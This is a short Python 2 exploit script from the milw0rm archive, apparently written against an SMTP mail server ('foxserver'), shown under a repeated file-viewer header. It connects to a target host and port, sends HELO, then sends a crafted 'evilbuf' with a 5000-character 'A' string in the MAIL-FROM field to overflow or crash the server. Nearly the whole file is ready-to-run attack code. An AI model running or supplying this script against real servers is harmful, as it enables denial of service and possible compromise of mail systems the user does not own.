47 lines
No EOL
1.1 KiB
Python
Executable file
47 lines
No EOL
1.1 KiB
Python
Executable file
#!/usr/bin/python
|
|
#Code by OYXin
|
|
#oyxin_at_segfault.cn
|
|
import socket
|
|
import sys
|
|
import getopt
|
|
|
|
|
|
def usage():
|
|
print "Usage: foxserver.py -h host -p port"
|
|
sys.exit(0)
|
|
|
|
if __name__ == '__main__':
|
|
|
|
try:
|
|
opts, args = getopt.getopt(sys.argv[1:], "h:p:")
|
|
except getopt.GetoptError, msg:
|
|
print msg
|
|
usage()
|
|
|
|
for o,a in opts:
|
|
if o in ["-h"]:
|
|
host = a
|
|
if o in ["-p"]:
|
|
port = int(a)
|
|
|
|
evilbuf = "MAIL-FROM: <" + "A"*5000 + ">" + "\r\n"
|
|
evilbuf += "RCPT-TO: postmaster@company.mailDATA" + "\r\n"
|
|
evilbuf += "Message-ID: 123" + "\r\n"
|
|
evilbuf += "ASDF" + "\r\n"
|
|
evilbuf += "." + "\r\n"
|
|
evilbuf += "QUIT" + "\r\n"
|
|
try:
|
|
sockfd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
sockfd.connect((host, port))
|
|
recvbuf = sockfd.recv(1024)
|
|
print `recvbuf`
|
|
sockfd.send("HELO localhost\r\n")
|
|
recvbuf = sockfd.recv(1024)
|
|
print `recvbuf`
|
|
sockfd.send(evilbuf)
|
|
except socket.error, msg:
|
|
print msg
|
|
|
|
sockfd.close()
|
|
|
|
# milw0rm.com [2005-02-07] |